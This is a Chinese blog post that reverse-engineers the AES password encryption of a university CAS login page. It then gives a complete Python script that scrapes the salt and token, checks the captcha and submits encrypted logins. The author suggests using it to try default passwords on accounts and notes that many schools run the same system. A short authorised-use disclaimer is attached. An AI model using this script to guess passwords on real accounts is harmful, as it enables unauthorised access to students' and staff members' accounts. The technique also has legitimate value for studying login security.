某edu登录JS逆向

首先随便输点东西,抓个包:
发现这里提交了加过密的password,接下来就是找password参数,看看对它怎么处理了:
全局搜索发现了奇怪的东西

图片

_etd2(password.val(),casLoginForm.find("#pwdDefaultEncryptSalt").val());

可以看见,使用了_etd2函数对password进行处理了,传参还有一个盐值(pwdDefaultEncryptSalt)
那就去找找_etd2函数具体写了啥:

function _etd2(_p0, _p1) {
 try {
 var _p2 = encryptAES(_p0, _p1);
 $("#casLoginForm").find("#passwordEncrypt").val(_p2);
 } catch (e) {
 $("#casLoginForm").find("#passwordEncrypt").val(_p0);
 }
}

接着跟进到enc.js中的encryptAES函数:

function encryptAES(data, _p1) {
    if (!_p1) {
        return data;
    }
    var encrypted = _gas(_rds(64) + data, _p1, _rds(16));
    return encrypted;
}

在往上看看_gds和_rds是什么东西:

function _gas(data, key0, iv0) {
 key0 = key0.replace(/(^\\s+)|(\\s+$)/g, "");
 var key = CryptoJS.enc.Utf8.parse(key0);
 var iv = CryptoJS.enc.Utf8.parse(iv0);
 var encrypted = CryptoJS.AES.encrypt(data, key, {
 iv: iv,
 mode: CryptoJS.mode.CBC,
 padding: CryptoJS.pad.Pkcs7
 });
 return encrypted.toString();
}
var $_chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';

var _chars_len = $_chars.length;
function _rds(len) {
 var retStr = '';
 for (i = 0; i 





...

接下来请求了一次
 

图片

图片


如果这里返回false就不用验证码,反之true就要
最后就post提交登录请求:

图片


浅浅写个脚本模拟一下:

import requests,execjs,re,json

requests=requests.Session()

class SZUauth():
    def __init__(self,username,password):
        self.username=username
        self.password=password
        self.js=open('enc.js','r',encoding='utf-8').read()
        self.js=execjs.compile(self.js)
        print('Started!')
    def first_req(self):
        headers = {
            'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'Connection': 'keep-alive',
            'Host': 'authserver.***.edu.cn',
            'Referer': 'https://authserver.****.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2Eszu%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
            'Sec-Fetch-Dest': 'image',
            'Sec-Fetch-Mode': 'no-cors',
            'Sec-Fetch-Site': 'same-origin',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
            'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"'
        }
        params={
            'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
        }
        url="https://authserver.***.edu.cn/authserver/login"
        requests.get(url,headers=headers,params=params)
        print('GET Cookie OK!')
    def get_salt(self):
        headers = {
            'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'Connection': 'keep-alive',
            'Host': 'authserver.***.edu.cn',
            'Referer': 'https://authserver.**.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2Eszu%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
            'Sec-Fetch-Dest': 'image',
            'Sec-Fetch-Mode': 'no-cors',
            'Sec-Fetch-Site': 'same-origin',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
            'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"'
        }
        params = {
            'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
        }
        url = "https://authserver.**.edu.cn/authserver/login"
        res=requests.get(url, headers=headers, params=params)
        salt=re.findall('var pwdDefaultEncryptSalt = "(.*?)";',res.text)[0]
        lt=re.findall('',res.text)[0]
        return salt,lt
    def captcha(self):
        headers = {
            'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'Connection': 'keep-alive',
            'Host': 'authserver.***.edu.cn',
            'Referer': 'https://authserver.***.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2E***%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
            'Sec-Fetch-Dest': 'image',
            'Sec-Fetch-Mode': 'no-cors',
            'Sec-Fetch-Site': 'same-origin',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
            'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"'
        }
        params={
            'username': '*********',
            'pwdEncrypt2': 'pwdEncryptSalt',
            '_': '1710940015117'
        }
        url="https://authserver.***.edu.cn/authserver/needCaptcha.html"
        res=requests.get(url,headers=headers,params=params)
        print("Captcha--->>>"+res.text)
    def login(self,salt,lt,password,username):
        headers = {
            'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'Connection': 'keep-alive',
            'Host': 'authserver.***.edu.cn',
            'Referer': 'https://authserver.***.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2E***%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
            'Sec-Fetch-Dest': 'image',
            'Sec-Fetch-Mode': 'no-cors',
            'Sec-Fetch-Site': 'same-origin',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
            'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"'
        }
        pwd=self.js.call('encryptAES',password,salt)
        data= {
            'username': username,
            'password':pwd,
            'lt': lt,
            'dllt': 'userNamePasswordLogin',
            'execution': 'e2s1',
            '_eventId': 'submit',
            'rmShown': '1'
        }
        params = {
            'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
        }
        url="https://authserver.****.edu.cn/authserver/login"
        res=requests.post(url=url,params=params,data=data,headers=headers)
        return res.text,res.status_code
    def check(self):
        self.first_req()
        salt,lt=self.get_salt()
        self.captcha()
        return self.login(salt,lt,self.password,self.username)



def check_pwd(username,password):
    s=***auth(username,password)
    output,code=s.check()
    if code==302:
        return True
    else:
        return False

这个由于验证码还在,所以同一个账号只能测三次,可以拿来测测默认密码啥的
很多学校的auth都是用的这套系统

  声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值